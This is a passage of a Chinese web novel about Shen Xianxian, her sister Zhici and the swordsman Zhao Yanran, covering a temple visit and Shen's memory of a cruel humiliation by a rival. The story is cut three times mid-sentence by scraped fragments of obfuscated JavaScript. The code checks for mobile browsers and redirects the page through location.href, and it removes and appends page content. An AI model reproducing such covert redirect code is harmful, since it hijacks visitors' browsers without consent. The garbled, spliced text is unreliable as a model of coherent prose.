赵晏然没有理会她。奈何对方一直看他,于是一套练完后,赵晏然擦了擦汗,垂下长剑抬眼看她,“什么事。” 沈纤纤摇头,“我见看整个武场只有你一个人,有些好奇。” 赵晏然瞥她一眼,“那你呢?你的女伴,还有诸葛真他们呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711724|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈纤纤刻意忽略掉女伴的问题,反问道,“我又不是诸葛真的什么人,为什么要把他跟我联系在一起?” 赵晏然道,“因为那个混蛋对你有意思。” 沈纤纤皱眉,“不要乱说,我和他只是朋友,他没那个意思。”随即又问道,“为什么要叫他混蛋,你和他有仇吗?” “没有。”赵晏然低头,踢了题脚下的尘土,没将理由说出口:他很想超越诸葛真,取而代之成为上清年轻一辈的最强者。 赵晏然道,“我要继续练剑了。” 沈纤纤道,“你练吧,我就在旁边,不打扰你。” 赵晏然皱了皱眉,有些不自在。但他没说什么,继续专心练功了。 “喂,为什么你的腰比女孩子还细?”沈纤纤突然开口道。 赵晏然动作一顿,冷声道,“你故意的?” 沈纤纤笑眯眯做了个抱歉的手势,“我错了,你练吧,这次我真不打扰你了。” 之后几日,沈纤纤经常跑来看赵晏然练功,她告诉赵晏然,自己之所以一个人,是因为每次来看自己前,她都在工地现场看她父亲监工。 沈纤纤皱着眉对他抱怨,“你的那些师兄弟,我稍微接受一点他们的好意,他们就要邀请我单独出去玩。”她轻声嘀咕,“长得歪瓜裂枣还那么自信。” 提及同门,赵晏然来了兴趣,奇道,“在你眼里,诸葛真也算歪瓜裂枣?” 沈纤纤扣着手指,道,“我不喜欢他,现在也没心思搞这些。” - 就在二人对话后的第二天,上清长老在山脚城镇举办了一场“上清武艺切磋会”,目的是给因放假而无所事事的弟子们找点事做。 比武会上清弟子和城镇里的普通年轻人都可以参加,赢者晋级输者淘汰,最后决出一二三名,颁发门派中的宝贝作为奖品。 普通人哪里是上清弟子的对手,这场切磋会比试到最后,晋级的全是上清弟子。弟子们平日在门派内便时常切磋,对于彼此的水平都很了解,最终决出的一二三名,也不出众人所料,分别是第三名赵晏然,第二名是一位同门,第一名诸葛真。 随后就是颁奖环节,长老依次将奖品发给三人,当发到诸葛真手上时,他做了一件出格之事。 只见诸葛真走下台,惊讶的人群纷纷给他让出一条路,他穿过前排的人,走到沈纤纤面前,道,“纤纤,我想把这个奖品送给你。” 沈纤纤长久地沉默了,神色中有几分不易察觉的冒犯和恼怒。 半晌,她开口道,“对不起,有人先你一步了。”随即她扬声道,“赵晏然,你答应赢给我的奖品呢?” 台上,赵晏然被沈纤纤突然的发言惊呆了,他从来都没答应过她给她赢奖品。 赵晏然越过众多师兄弟艳羡的目光,还有诸葛真一副要杀了他的眼神,对上了沈纤纤恳求和期待中带着一丝忐忑的目光。 所有人都在望着他,赵晏然成为了全场焦点中的焦点。 一瞬间,赵晏然心尖一颤,异样的情绪迅速蔓延至心头。 下一刻,这位向来高冷的少年微微笑了起来,“当然,答应你的事,我怎会忘。”随即将奖品当众送给了她。 那之后,二人相处还同以前一样,谁都没有再提及那时的事,但赵晏然却清楚感受到二人之间的关系,发生了微妙的变化。 之后又过了几日,上清完成了门派建筑的修缮,沈纤纤也随其父离开。 临走时,沈纤纤认真对赵晏然道,“我相信我们还会再见。” 沈纤纤走后,赵晏然依旧专注习剑。随着年岁渐长,赵晏然凭着自己的努力和天赋,逐步超越了诸葛真,成为了上清派年轻一辈中实力最强的弟子。 但赵晏然没想到,三年之后,他竟真与沈纤纤在路府再次相遇。但此时沈纤纤已家破人亡,从富家小姐变成了卑微谋生的婢女。 沈纤纤算他半个旧友,加上他本对沈纤纤也有好感。因此沈纤纤找他帮忙,他都会尽量满足。偶尔无事,也会陪沈纤纤有一搭没一搭闲聊。 赵晏然眼高于顶,一向无视所有人。能为沈纤纤做到这个份上,已足够说明沈纤纤之于他的特别。 但二人的关系也仅止于‘特别’。赵晏然一心向武,虽然他对沈纤纤很有好感,但他心知自己很快便会回上清,二人之间难有结果,因此并未向沈纤纤挑明心意。 而沈纤纤则更让人琢磨不透,二人聊天时偶尔谈及彼此相处,沈纤纤总笑眯眯道,“对我来说,你就像我的亲弟弟,和你聊天是我每天最轻松的时候,真希望我们能一辈子这样说说笑笑。” 就这样,二人之间一直维持着有一点点暧昧的好朋友关系。 7. 青牛观 自昨日知慈发现了赵晏然的心意后,她便心情低落,觉得既然赵晏然早与沈纤纤认识,自己又被沈纤纤比得黯然失色,不可能再有机会了。 但她看着自己做好的香囊,又有几分不甘心:即便被赵晏然拒绝,那也是他的事。既然喜欢他,那就得给自己一个交代,不能连表白心意的勇气都没有。 怀着这样决绝的心态,接下来几日知慈又开始寻找机会,终于在某天午休时,她在水榭回廊边把赵晏然拦了下来。 “赵晏然。” 被知慈叫住,少年平静望着她,等待下文。 “这个给你。”知慈拿出香囊递向赵晏然,但赵晏然没有接,望着那香囊微微蹙眉。 知慈又道,“上次李护院的事,谢谢。这个是我自己做的,挂屋里能驱蚊,清新空气。” 见知慈这样说,赵晏然终于接了过来。他垂眸拿在手中把玩,刚要开口,却听身后传来声音。 "咦,你们两个怎么会凑在一起?" 知慈回头,看见沈纤纤朝他们走来,她对知慈道,“找你半天了,你怎么和他在一块。” 知慈见姐姐来了,也不好再提表明心意的事,只能转开话题问沈纤纤道,“怎么了?” 沈纤纤拉起知慈的手道,“你明天不是休沐吗,陪姐姐去趟青牛观吧。” 青牛观是京郊一座大型道观,香火鼎盛,口碑极好。 赵晏然插嘴,“你去青牛观做什么?” 沈纤纤看了一眼赵晏然,嗔怒道,“还不是因为你。” 赵晏然闻言,挺直了身子,将香囊随手放到身边的横栏之上,“因为我?” 沈纤纤道,“是啊,前几日白巾教暴乱,大夫人说你在路府门口杀了太多人,给路府造了杀业。她现在出门都不敢从正门走,怕沾染上凶煞怨气。所以让我这几日找个时间去青牛观,请位道长来府上做法事,消除煞气。” 赵晏然闻言一时不知该作何感想,半晌才嗤笑一声,“她还真是慈悲心肠。” 沈纤纤继续对知慈道,“青牛观在京郊,周边风景不错。正好知慈你明日休沐,陪我先把正事办了,然后咱俩再在周围游览一番。” 知慈听罢,觉得没有拒绝的理由。虽然此刻赵晏然一直看向沈纤纤总让她心里酸酸的,但一个外人怎么可能影响她们姐妹的感情,于是点头道,“好呀,我一直都想去那边看看呢。” 沈纤纤笑了笑,“那就说定啦。” 此事敲定之后,沈纤纤又同二人闲聊了片刻。 “对了晏然,前几日拜托你的事有进展了吗?”沈纤纤道。 原来沈纤纤不满自己美貌又有才华却只能为人奴婢,想参加宫廷乐师的选拔,但因为沈家出事,失去体面身份的沈纤纤没有参与选拔的资格。于是她拜托赵晏然找人疏通关系。 赵晏然摇了摇头,“我去问了,但所识之人中并无这方面人脉。” 沈纤纤表情失望。 赵晏然又补充了一句,“不过你若报了名,想买凶杀掉竞争者,我倒是能帮忙。” 沈纤纤勉强笑了笑,“好吧,我明白了,是我太勉强你了。” 这之后,沈纤纤明显说话兴趣缺缺。没过多久便同二人道,“大夫人还给我安排的别的事,我就先走了。” 一时间只剩知慈和赵晏然,气氛沉默下来。知慈期期艾艾,还想开口同赵晏然找些话题。但赵晏然因沈纤纤的骤然冷淡也不太开心,随口道,“我去演武场了。”便走掉了。 知慈失望看着他离去,随即转过头,看到他把自己送的香囊忘在了横栏上。 知慈突然就有些委屈。赵晏然的眼里根本就没有她,自己费力做出来的东西,他随手就忘在了一边,因为他的眼里只有姐姐。 算了,他不要,自己还不稀罕给他呢。这么好的东西,自己用不好吗? 这样想着,知慈眼圈红红,拿起香囊揣回了自己袖中。 - 次日,沈纤纤一早便唤醒了知慈,拉着她出门去青牛观。 知慈用手掬起清水洗脸,一边对沈纤纤道,“赵晏然真是个讨人厌的家伙。” 沈纤纤在一旁歪头看着知慈,“他怎么了?我记得你们昨天相处还挺融洽。” 知慈将洗脸巾敷盖在脸庞上,声音闷闷传来,“……没什么,看到他就觉得气场不和。” 沈纤纤被知慈逗笑了,没有在意她的话。 知慈洗漱后,二人准备出发,却在路府门前被拦住了去路。 “纤纤姑娘,怎么这么巧,又遇见你了。”路茂枝轻摇折扇,神情殷勤。 沈纤纤客气道,“二少爷,我同妹妹要出趟门。” “哎,等等……我有个好东西给你。”路茂枝说着,自怀中掏出一个锦盒。 知慈在一边旁观,见路茂枝打开锦盒,里面装着一对做工极为精致的银色耳环。 路茂枝道,“这是我自金福阁定制的耳环。纤纤姑娘,美人配银饰,这对耳环送给你。” 金福阁是皇室御用首饰商,很多首饰款式有钱也买不到,里面的顶级工匠只接受达官显贵的订单。此刻路茂枝如此风情云淡将金福阁首饰赠与沈纤纤讨其欢心,路家财力和权势可见一般。 但沈纤纤只是摇了摇头,“二少爷,这礼物太贵重,我消受不起,您还是送给别人吧。” 她冲路茂枝抱歉笑了笑,“我和妹妹还要出门,就先不聊了。” 她拉着知慈,出府后又走出一段距离,才叹了一口气道,“二少爷哪怕长得稍微端正、行事稍微靠谱一些,我都未必会拒绝。” 知慈想到路茂枝脸色消瘦惨白,锦缎绸袍被他穿得皱皱巴巴;又想起他哥哥路繁叶五官虽不出众,但平日穿着得体气势威严,赞同道,“二少爷同大少爷一点都不像。” 沈纤纤闻言,观察了一圈周围,见无人偷听,对知慈附耳悄声道,“我听她们说,二少爷被他朋友们带偏,服用过寒食散,所以外形才变得瘦如骷髅。” 知慈很意外,因为寒食散在极度刺激感官的同时会产生强依赖性,并摧毁服用者的身体,已经被朝廷列为禁品。 “二少爷除了家里有权有势,本人可以说一无是处,我可不想在他身上浪费时间。”沈纤纤小声道。 - 姐妹二人徒步来到京郊青牛观。观内香火不断,客流旺盛。 沈纤纤向观内道士说明了来意,道士便引着二人来到内院回廊,道,“观主正在接待上一位访客,还请二位稍等片刻。”随即便离开了。 前院人声鼎沸,但内院却少有游客,因此回廊之上十分静谧,偶有道士唱诵的声音遥遥传来,为道观添了几分肃穆。 “二位姑娘,可需要相一相面?”只见一个年纪三十出头的道姑,鬼鬼祟祟自回廊前方阴影处探出头。 沈纤纤见她神态疯癫,有些犹疑,“你是哪位?” 那道姑却似浑然没听见沈纤纤的话,完全沉浸在自己的世界,她走近二人,细细打量,随即对知慈道,“你有富贵相。” 说罢,她又打量起沈纤纤,半晌摇头道,“你不行,虽然心比天高,但前途坎坷,注定没有富贵命。” 沈纤纤最恨别人说她心高,被这道姑这样评价,沈纤纤非常生气。她正欲反驳,却有人抢先一步。 “孙芳姑,你再敢吓唬我的客人,我便把你赶出去。”只见正殿内走出一位端庄威严的女道长,冷冷呵斥道。 疯癫道姑闻言,低声咕哝了几句听不懂的话,缩着脖子离开了。 那端庄道长正是青牛观观主,只见她抬起眼,对知慈和沈纤纤道,“二位请进。” - 知慈和沈纤纤随观主进了大殿。沈纤纤道,“方才那疯癫道姑是做什么的?” 观主道,“她啊?你不用理会。她是贫道修行的同门,平日修行不专心,天天琢磨歪门邪道。某日邪祟上身,便四处声称自己看见神仙显灵,成了现在这副疯癫模样。不过毕竟同门一场,贫道将她拘在内院,便是为了让她少出去惹麻烦。” 沈纤纤道,“那她说的应该都是胡话吧。”想了想,她又试探着补充了一句,“她方才说我前途坎坷,应该是胡说八道吧。” 观主微微一笑,却没正面回答沈纤纤的问题,“命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711725|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由天定,但路怎么走却可以通过信仰改变。”随即转换了话题,“施主代表路府来找贫道,是有什么需要贫道帮忙的吗?” 见观主提及正事,沈纤纤端正了神色,说明了大夫人想请她来路府做法事一事。 观主道,“当然,路大夫人的仁善之名贫道早有耳闻,能为路府做法事是贫道的荣幸。”观主顿了顿,“不过,近日青牛观内要举行法会,事宜繁多,所以路府之事恐怕要排期到几日之后了。” 沈纤纤道,“法会?” 沈纤纤点头,随即与观主商议了一些具体细节,一切敲定,观主起身送二人离开。 观主道,“是,后日青牛观会举办法会,二位施主若是有兴趣也可以来参加。” 二人对视一眼,皆有些迷茫,随即沈纤纤问道,“法会是做什么的?” 观主微笑道,“青牛观法会旨在布道解惑,每年一度,由贫道主持。” 见沈纤纤神色迷惑,她又解释道,“命由天定,每个人出生时,寿命、富贵、子嗣……这些命数便已被定下。但命格并非无法改变,通过祈祷、服丹以及请神等方式,能让人在有限范围内改变自己的命运。而法会,就是向善男信女们传授改变命格、通往幸福之路的道家知识。” 沈纤纤敏锐地捕捉到改变命格四字,想起方才疯道姑的胡言论语,沈纤纤将信将疑问道,“那若是境遇暂时落魄之人参加法会,可以摆脱命格重获富贵吗?” 观主的微笑带上了几分神性,道,“任何法会都无法让施主立刻心想事成,法会的意义在于,它能为施主指引一条实现心愿的道路。” - 那之后,沈纤纤同观主办完大夫人交代的事,与知慈离开了大殿。 “你说,观主说的是真的吗。”沈纤纤蹙眉琢磨观主方才所说的法会一事。 知慈想了想,道,“这种东西信则有,不信则无。生活幸福的人不会主动去接触,但遇见重大变故的人,走投无路借此寻求一线生机也无可厚非,未必就是骗人。” 沈纤纤点头,“嗯,我觉得我目前……还不太需要。”虽然嘴上说着不需要,但沈纤纤的神色却有些犹豫。 二人行至青牛观大门口,门前游客众多,不少富贵人家将马车停在观外。人群来来往往,一时间青牛观门口竟有了几分车水马龙的景象。 知慈无意之间瞥见远处一辆华贵马车旁的公子,觉得他有几分面熟。她又看了两眼,突然想起自己确实见过此人——就在白巾教徒绑架秋爽的那天晚上,他作为锦衣卫的首领带领队伍埋伏四周,最后生擒了几个歹徒。知慈同时还想起了他的名字,叫池无暇。 见到认识的人,知慈觉得很巧,道,“姐姐,你看那个人,我之前跟你说过的那个锦衣卫首领,你有印象吗?”她拍了沈纤纤,示意她向池无暇的方向看。 知慈继续道,“就是他当时领人埋伏在屋顶,我一喊他们就立刻杀进院子里——” 知慈声音停住,她注意到沈纤纤目光正顺着她的方向望去,脸色惨白,身体抖如筛糠。 知慈不明白发生了什么,便又转头看池无暇方向。 只见池无暇站在马车旁,车内似乎坐了一名女子。池无暇朝马车帘伸出手,手心朝上让车中女子去扶。 “小妹,下车了。”池无暇温柔道。 知慈没有看出什么异常,不明白沈纤纤为什么会有这么大反应。 她继续观望,见车中女子露出一截柔胰,掀开车帘。正当知慈马上瞧见对方容貌时,沈纤纤突然大力扯住知慈手臂,拉着她便朝远处去走。 知慈被扯的一个踉跄,稳住重心道,“怎么了,你认识他们?” 沈纤纤却只是摇头,脸色极差,道,“回去吧,回去再说。” “那……不踏青了吗?” 沈纤纤道,“下次吧。” 返程路上,沈纤纤一言不发,只沉浸在自己的世界里。而知慈见她情绪不佳,也只能安安静静不敢惊扰她。 就在知慈以为沈纤纤会沉默一路时,沈纤纤开口了。 “方才你说的那个池无暇,我其实认识。” 8. 姐姐回忆 “方才你说的那个池无暇,我其实认识。”沈纤纤道,“车里坐着的女子,是他的表妹,名叫池雨若。” 提起池雨若,知慈突然有了印象。当年北风城没出事时,北风城知府的女儿不就叫池雨若? 早些年随父母参加官商宴会时,知慈曾遥遥见过她一面。当时池雨若贵为知府之女,搭讪讨好她的人不计其数。因为沈纤纤外貌才华出众,池雨若还曾主动找她聊过几句。但知慈则连话都没机会同池雨若说。 池雨若……池无暇,知慈没想到二人竟是表兄妹。那如此说来,池无暇想必也去过北风城。 沈纤纤道,“记得父亲曾带我去上清派玩过一段时间吗?当时池雨若也随池知府去了。那时整支队伍就我们两个小姑娘,所以我们关系很好,但去了一趟上清派,一切就都变了。” 原来,池雨若身为知府之女,平日在北风城时,无论去哪都是一群贵女和少爷围着她转,因此性格养得性格骄纵无比,从来没受过委屈。 而沈纤纤生得美貌又有才华,平日也同其他女孩一样捧着池雨若,所以骄纵如池雨若也很愿意跟沈纤纤一起玩。 一行人刚到上清,沈纤纤便同池雨若手挽着手,亲密异常,如厕也要一起去。 上清派正殿,池知府和沈父同上清掌门寒暄,两个小姑娘就在后面兴奋地窃窃私语。 池雨若悄声道,“纤纤,你看掌门左边那个弟子,长得有点俊俏哎。” 沈纤纤暗暗撇嘴,那弟子吊梢眼嘴唇薄,长得像狐狸,不符合她的审美。但沈纤纤从不和池雨若唱反调,只是笑道,“原来你喜欢这种。” 二人悄声又闲聊几句,那边掌门已经谈完了正事,开始同知府沈父闲聊。期间提到两个小姑娘,掌门随口道,“年轻人在一起有话题,让他们年轻人自己玩去吧。”随即点了几个与二人年纪相仿的弟子,让他们带着两个姑娘在上清山四周游览一番。 池雨若见自己心动的弟子也在其中,不禁暗暗开心。但她却不知道,她在打量弟子们的同时,弟子们也在悄悄打量两个姑娘,在他们眼中,池雨若容貌平平,而沈纤纤则是少见的美人。 一行年轻人有说有笑,从大殿出发,游览了弟子居、习武场、还有名剑阁。但池雨若渐渐发现,这些弟子们虽然很热情,但他们都只围着沈纤纤转,问她年龄、家住哪里、平日喜欢做什么,沈纤纤即使什么都不说,他们依然很殷勤。至于池雨若,虽然人在沈纤纤旁边,却根本无人理会。 池雨若在北风城时,从小到大城内的少爷小姐无论男女都围着她转,只要有她在的地方,她就是人群中绝对的焦点,何曾受过这种被冷落的委屈。 为了表达自己的不满,池雨若突然停下站住了脚步,大声道,“我累了,走不动了,我要休息。” 沈纤纤见池雨若这样说,便想来挽她手臂,但此刻池雨若对沈纤纤有种莫名的恼怒,于是一把甩开沈纤纤的手,道,“你别碰我!” 沈纤纤一愣,连忙哄她,试探着问道,“雨若,你怎么了,是不开心了吗?” 池雨若张嘴,自尊心又让她不愿说出真正的原因,找了个理由搪塞道,“都怪你,方才要是走那条平坦的路,哪儿会有这么累!” 沈纤纤还没说话,旁边的弟子却冷笑一声,对池雨若道,“哪儿来的大小姐,欺负人欺负到上清山来了?那平坦的路是通向后山的根本走不通,这不是找茬吗?” 另一个稳重年长的弟子见同门说话这么冲,斥道,“诸葛真,你怎么同客人说话呢?” 可惜为时已晚,池雨若见到此刻恶语相向的人正是她偷偷心动的弟子,眼眶一下就红了,大声对诸葛真道,“我又没同你说话,你管得着我说什么?” 诸葛真半分不让,道,“我也没和你说话啊,我刚才骂得是狗,你接什么话?” 池雨若瞪着他,眼泪不受控制自眼眶滑落,伤心和愤怒让她口不择言,带着哭腔喊道,“你知道我爹是谁吗?你怎么敢这样和我说话?” 诸葛真道,“你爹?不就是那个在殿里和掌门说话的知府?”他嗤笑一声,道,“即使皇帝老儿来了上清派都得客客气气,你爹一介知府又有什么了不起?真以为自己去哪都是大小姐,别人都得供着你?” 池雨若红着眼圈盯着他,诸葛真嗤了一声,抱臂扭过头不看她。 就在沈纤纤以为池雨若要大闹一场时,池雨若却一言不发,转身跑开了。 沈纤纤见状便想去追,被诸葛真一把拉住,“别追,这又不是你的错,她就是被惯的。” 沈纤纤犹豫了。碍于池家权势,沈纤纤在骄纵的池雨若面前一直伏低做小,说自己一点情绪都没有,那是不可能的。同样都是女孩子,凭什么池雨若永远都是大小姐,别人都得哄着她? 何况整件事又不是自己的错。沈纤纤隐约明白池雨若生气的真正理由,但骂她的人又不是自己,难道受人欢迎也要怪她吗?想到众星捧月颐气指使的池雨若,在权势失灵的环境下,也只能给自己当绿叶,沈纤纤心里甚至冒出几分隐秘的得意。 在周围弟子七嘴八舌的议论声中,沈纤纤停下了脚步,没有去追,而是随着诸葛真等弟子启程去了别处的景点。 但沈纤纤没有想到,这一瞬间选择所造成的后果,会对她影响至今。 傍晚时,沈纤纤同诸葛真等人道别,回到了上清派为客人准备的厢房。但沈纤纤发现池雨若房间大门敞开,里面空空荡荡。 原来,池雨若根本受不得这种委屈,离开众人后,便和父亲闹着要回家,池知府劝女儿包容同伴未果,拗不过女儿哭闹,只得下午遣人雇了一辆马车送池雨若先回北风城。 沈纤纤心中略过一丝不妙的感觉,在山上毕竟只有她们两个年纪相仿的女孩,很多事情都必须两人结伴,如此沈纤纤总有机会和她修复关系;但回到北风城,那里有的是想巴结池雨若的人,届时再找机会同她示好,可就太难了。 但随即,沈纤纤的骄傲再次冒出了头,她心道即使不修复关系又怎样,纵使池知府在北风城权势通天,也不会不顾脸面来针对自己一个小女孩儿。她早就受够了池雨若的大小姐脾气,大不了以后不来往就是。 沈纤纤放下忧虑,尽情享受了接下来半个月的上清山之旅,并与上清弟子赵晏然结下了一段友谊。 - 旅程结束后,沈纤纤随沈父回到了北风城沈家。 她本以为与池雨若再无交集,没想到一个月后,池雨若向沈府发来一封请帖,内容大致是说:上清山的事是自己不对,不该迁怒沈纤纤;并邀请她参加池家的聚会,想重修旧好。 沈纤纤握着请帖,喜忧参半。这张请帖只邀请了自己,并未提到她妹妹知慈。她摸不清池雨若的意图:究竟是真心想和她和好,还是另有图谋? 沈纤纤必须承认,自己之前有些嘴硬和意气用事;北风城同龄的贵族圈子就那么大,凡是有可能,不会有人愿意得罪池雨若。 最终,沈纤纤还是选择了赴宴。 宴席间,北风城大半的官家少爷小姐都到了场,而最令众人激动的是,池家在京城本家的少爷、池雨若的堂哥池无暇也出席了这次宴会。 池无暇年纪不大,却在京中官居要职。这次正逢休沐,特地回到北风城探望池家一众亲戚。 宴席上,人人都想巴结这位年少有为的京官,因此众人争先恐后同池无暇搭话。 池雨若同池无暇关系很不错,兄妹俩谈笑风生,池雨若时不时将同自己关系好的朋友们介绍给他。 至于沈纤纤,虽然被邀请出席,却完全被池雨若冷落在了一边。 沈纤纤局促地坐着。就在这时,一个池府的婢女不小心将盘中酒水撒了沈纤纤一身。 婢女连声道歉,请示过池雨若后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711726|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领着沈纤纤去了府上厢房,婢女说去给她找件换洗衣服,但过了好久,才将衣物拿来。 沈纤纤脱下湿衣,只着肚兜,就在她准备更衣时,门外传来喧哗声。 只听‘吱呀’一声,大门被猛地推开,沈纤纤对上了一众少爷小姐们的视线。 沈纤纤只觉浑身热血冲到了头顶,她尖叫一声,浑身颤栗,砰地关上了门,身体不停的抖。 一瞬沉默后,沈纤纤听见门外有个男声道,“不是,雨若,你不是要给大伙看你收藏的小叶檀吗?干嘛把大伙引到这来?非礼勿视啊。” 然后她又听见门外更远处传来池雨若的声音,她在笑,“我哪知道她非要挑这么显眼的地方换衣服,搞得像我怠慢她一样。” “可不,把大伙吓了一跳。”又有人道,“走了走了,去看小叶檀。” 于是外面的人又闹哄哄地离去了,至于沈纤纤被看光,仿佛只是件极轻飘不值一提的事,没人需要为此担责。 沈纤纤背靠着门坐到了地上,无助地抱臂环住膝盖。 池雨若说她不知道自己在这里,可婢女分明是请示过池雨若之后才领她过来的,池雨若怎么可能不知道?她是故意的! 池雨若还在记恨上清山上的事,所以故意设了局让自己难堪。而她也确实做到了,所有人都看到了她赤身裸体的模样,让她脸面尽失。 回了宴席,沈纤纤便托词不适告退,池雨若支着下巴道,“喂,方才的事是我家婢女的疏忽,我代她向你道个歉。” 沈纤纤抬头,看到池雨若口中说着道歉,嘴角却得意地翘着。 “……我先走了。” “别呀,再玩会儿,是刚才的事让你不舒服吗?大家都是朋友,不会介意的。”池雨若扭头,“喂,你们能不能都当做没看见?”她冲与会的少爷小姐们道。 大家纷纷说没事的,但这些看似安慰的话却像刀子凌迟着沈纤纤的自尊。 池雨若反复提及方才之事,表面故作关切,实际却在细细品味沈纤纤脸上尴尬难堪的表情。 沈纤纤握紧拳,指甲扣进肉里,屈辱的感觉淹没了她。为什么她要遭受如此戏弄?只因为池雨若有权势,所以就可以将她像猫狗一般逗弄羞辱? 这一刻她恨透了池雨若,明明自己样样都比池雨若强,却只因她出身高贵,自己就得处处让着她,只因稍稍不顺着她的心意,她就可以将自己如蝼蚁揉捏,凭什么? “知慈,你知道吗,从那天起,我便一心只想往上走,总有一日,我会把池雨若——把所有看不起我、作践我的人,都踩在脚底。”回忆到了尽头,沈纤纤为过去的一切做出了总结。 但随即,沈纤纤又自嘲般笑了起来,“可几年过去,我非但没向上走出一步,反而家破人亡,沦落成为卑微的的婢女。” 知慈听罢,道,“所以你方才拉着我离开,是不想让池雨若看见你现在的落魄模样?” 沈纤纤苦笑,“是,我不明白,为什么池雨若的命永远都这样好。北风城沦陷,你我成了奴婢,可池雨若因为有池无暇这个指挥使表哥,却能继续来京城继续享福,凭什么啊?” 知慈沉默,沈纤纤从来没同自己讲过她的这件伤心事。 知慈不知该如何她好受些,于是笨拙地安慰道,“姐姐,你换个角度想,上清派我只能眼馋却去不了,而你能去还那么受欢迎,我不知有多羡慕你。你拥有这么多,何必揪着不开心的事反复折磨自己呢?” 沈纤纤听罢,摇了摇头,“夏虫不可语冰。你长得不好,没体会过被人嫉妒的滋味,自然不懂我的痛苦。” 说完,她才意识到自己情绪激荡之下的真心话有些冒犯。于是她立刻住嘴朝知慈方向瞟了眼,见知慈没有异样,才放下了心来。 “为人奴婢太久,我都快忘记自己曾经的心气和追求了。”望着周围的街巷楼阁,沈纤纤感慨。 9. 争执 知慈本以为沈纤纤只是一时情绪激荡,却没想到那日过后,沈纤纤确实变了很多。 第二日,知慈洗漱时,发现昨日沈纤纤将同观主签的纸契落在了她这。 于是知慈赶往沈纤纤所在的院落,想将东西交给沈纤纤。 然而快到时,知慈却瞥见一男一女站在大少爷院子门口说话。男子锦衣华服瘦骨嶙峋,女子身姿曼妙十分眼熟,知慈定睛望去,发现二人正是路茂枝和沈纤纤。 知慈第一反应是路茂枝又来纠缠沈纤纤,但她见沈纤纤神情似乎并不像之前遇见路茂枝那么困扰,犹豫片刻决定静观其变。 不远处,路茂枝道,“……你想报名宫廷乐师?那倒容易得很,不过是同司礼监打个招呼的事。但我不明白,乐师俸禄只比路府下人多二钱,且说到底不过是去给宫里的主子当奴婢,值得你这么向往吗?” 沈纤纤轻叹,“我倒是想谋条更好的出路,可如今我只是个卑微的奴婢,还有别的路可选么?” 路茂枝道,“你这话可不对,谁说没有别的选择?能当主子,你何必去当奴婢?” 沈纤纤重复道,“当主子?” 路茂枝得意洋洋道,“你嫁给我,自然就是路府的主子,往后便是别人服侍你,而不是你给别人当奴婢。” 沈纤纤沉思片刻,觉得路茂枝说得有道理,宫廷乐师本质也是为贵人奴役,当奴婢哪有当主子快活。 “可是……”,沈纤纤犹豫道,她下意识又打量了眼路茂枝瘦如骨架的身材,还有因吸食寒食散而苍白病态的脸颊,还是觉得难以接受,“我还不想这么早嫁人。” 路茂枝轻轻摇头,道,“这都不是问题,你只要记得我心系于你就好,其他的事你都可以慢慢考虑。” 路茂枝离去后,知慈走了出来,“姐姐,我来给你送纸契。” 见到知慈,沈纤纤神情立刻变得尴尬,“我正想去找你,因为纸契的事大夫人还把我骂了一顿……”沈纤纤接过纸契,还是忍不住问道,“方才路茂枝同我说的话,你都听见了?” 知慈点点头,又道,“我见他好像没有为难你,就没出来。” 沈纤纤道,“唉,是啊,对了,他方才说的话,你可别告诉别人。我没答应他,也不想和他扯上关系。” 知慈摇头道,“你知道的,姐姐,我不是爱说人闲话的人。” 沈纤纤道,“我知道,从小看着你长大,我还能信不过你吗。”沈纤纤肉眼可见放松下来,笑盈盈捏了捏知慈的脸,笑道,“小时候你就最乖巧了,从来不和爹娘打小报告。” 沈纤纤话音刚落,便听见院内书房传来路繁叶愤怒冰冷的怒斥声,“出去!” 只见大少爷院内,书房的门“砰”地一声被从内推开。随后,屋内走出一位劲瘦挺拔的少年,正是赵晏然。 只见他转头对屋内人冷笑道,“你当我稀罕留下?” 作为回应,书房内响起砸碎花瓶的声音。 姐妹二人面面相觑,不知为何赵晏然和大少爷突然起了冲突。 - 半个时辰前。 赵晏然正在演武场同众护院操练,突然被家丁告知路繁叶请他去书房一趟,有要事相商。 赵晏然来到书房,问道,“大少爷,什么事?” 路繁叶背着手,面朝窗外,听见赵晏然唤他,转过身来,道,“晏然,内幕消息,朝廷发现了白巾教京城分舵的线索,打算近日展开清剿活动,将白巾教老巢一锅端。” 少年听罢,神色未变,点头道,“这是好事啊。” 自上次白巾教徒大闹路府后,朝廷官员便人人自危,剿灭白巾教已然成了朝廷头等大事。 白巾教起源于北风城,最开始只是北风城一伙土匪,打着“均贫富”的口号四处抢劫,但由于口号对贫苦的穷人非常有煽动性,白巾教规模很快扩大至整个谢国北方,各大城池都有白巾教徒设立的分舵。 